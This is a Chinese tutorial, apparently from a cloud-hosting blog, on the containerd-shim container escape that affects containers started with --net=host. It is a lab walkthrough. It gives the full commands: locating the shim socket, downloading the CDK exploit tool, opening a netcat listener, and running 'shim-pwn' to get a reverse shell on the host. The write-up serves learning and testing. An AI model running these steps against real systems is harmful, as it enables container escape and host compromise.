您好,登錄后才能下訂單哦!
本篇內(nèi)容主要講解“Docker容器逃逸漏洞案例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“Docker容器逃逸漏洞案例分析”吧!
漏洞原理
Containerd 是一個控制 runC 的守護(hù)進(jìn)程,提供命令行客戶端和API,用于在一個機(jī)器上管理容器。當(dāng)在docker使用–net=host參數(shù)啟動,與宿主機(jī)共享net namespace時,容器中的攻擊者可以繞過訪問權(quán)限訪問 containerd 的控制API 進(jìn)而導(dǎo)致權(quán)限提升,從而實現(xiàn)Docker容器逃逸。
Containerd是行業(yè)標(biāo)準(zhǔn)的容器運(yùn)行時,可作為Linux和Windows的守護(hù)程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正確地暴露給主機(jī)網(wǎng)絡(luò)容器。填充程序的API套接字的訪問控制驗證了連接過程的有效UID為0,但沒有以其他方式限制對抽象Unix域套接字的訪問。這將允許在與填充程序相同的網(wǎng)絡(luò)名稱空間中運(yùn)行的惡意容器(有效UID為0,但特權(quán)降低)導(dǎo)致新進(jìn)程以提升的特權(quán)運(yùn)行。
影響版本
containerd < 1.4.3
containerd < 1.3.9
實驗環(huán)境:
被攻擊機(jī)(ubuntu)ip:192.168.163.129
被攻擊機(jī)containerd版本:1.2.6
攻擊機(jī)(kali)ip:192.168.163.131
POC下載:https://github.com/Xyntax/CDK/releases/tag/0.1.6
01
被攻擊機(jī)查看docker版本,顯示Containerd Version : 1.2.6
命令:docker version
02
為了區(qū)分被攻擊機(jī)的真實環(huán)境和被攻擊機(jī)的docker環(huán)境分別在/root目錄下面創(chuàng)建不同文件
被攻擊機(jī)的docker環(huán)境:docker環(huán)境下面的/root目錄下面沒有文件,為了便于區(qū)分,復(fù)制一個dockerfile文件到/root目錄下
被攻擊機(jī)的真實環(huán)境:真實環(huán)境下面的/root目錄放置了一個true文件
01
被攻擊機(jī)真實環(huán)境中列出被攻擊機(jī)的容器
命令:docker ps
02
被攻擊機(jī)以共享主機(jī)網(wǎng)絡(luò)的方式啟動容器,并且直接進(jìn)入了docker容器
通過 --net=host 作為啟動參數(shù)來運(yùn)行一個容器(此處為了方便直接選擇已經(jīng)存在的容器vulhub/activemq:5.11.1,但是會單獨(dú)再建立了一個容器,不會再下拉鏡像,但是兩個容器不相關(guān))
命令:docker run -it --net=host vulhub/activemq:5.11.1 /bin/bash
03
被攻擊機(jī)真實環(huán)境中列出被攻擊機(jī)的容器列表,剛剛我們新建的容器為container id : 4ad4f620e6a5
命令:docker ps
04
在被攻擊機(jī)docker容器中執(zhí)行命令,可看到抽象命名空間Unix域套接字
命令:cat /proc/net/unix|grep -a "containerd-shim"
原理備注:containerd->containerd-shim->runc 的通信模型中,containerd-shim的接口作為abstract unix socket暴露,在docker使用--net=host參數(shù)啟動、與宿主機(jī)共享net namespace時,其中的unix socket可以被容器內(nèi)部訪問到,容器中攻擊者通過該socket可以通過API控制下游runc進(jìn)程啟動新的惡意鏡像,并通過該鏡像逃逸。
05
為了方便查看,被攻擊機(jī)的docker環(huán)境下切換到/tmp目錄下面進(jìn)行操作。下載對應(yīng)的poc并且進(jìn)行解壓操作。
下載poc命令:wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
解壓poc命令:tar -zxvf cdk_v0.1.6_release.tar.gz
06
kali攻擊機(jī)開啟監(jiān)聽端口12345
命令:nc -lvp 12345
07
被攻擊機(jī)的docker環(huán)境中執(zhí)行命令,利用poc建立起連接
命令:./cdk_linux_386 run shim-pwn 192.168.163.131 12345
08
Kali攻擊機(jī)成功獲取了被攻擊機(jī)真實環(huán)境的反彈shell(從/root目錄下的文件可看出反彈的為真實主機(jī)的shell)
備注:
本實驗存在很多注意事項(只限于本人實驗過程中的坑):
1、本來想使用vulhub的s2-032環(huán)境漏洞,利用Struts2工具遠(yuǎn)程命令執(zhí)行進(jìn)行docker逃逸,發(fā)現(xiàn)執(zhí)行命令:cat /proc/net/unix|grep -a "containerd-shim"時無法看到抽象命名空間Unix域套接字,執(zhí)行poc的時候顯示Cannot find vulnerable socket(我使用的是docker exec -it 6970bdddacc6 /bin/bash進(jìn)入的docker環(huán)境 )
2、注意利用--net=host新建容器的時候image名字是相同的,注意區(qū)分,否則執(zhí)行的命令會進(jìn)入另外一個容器
3、此利用條件是完全控制了被攻擊機(jī)的docker容器的環(huán)境下執(zhí)行的,利用被攻擊機(jī)的docker環(huán)境控制被攻擊機(jī)的真實環(huán)境。
到此,相信大家對“Docker容器逃逸漏洞案例分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。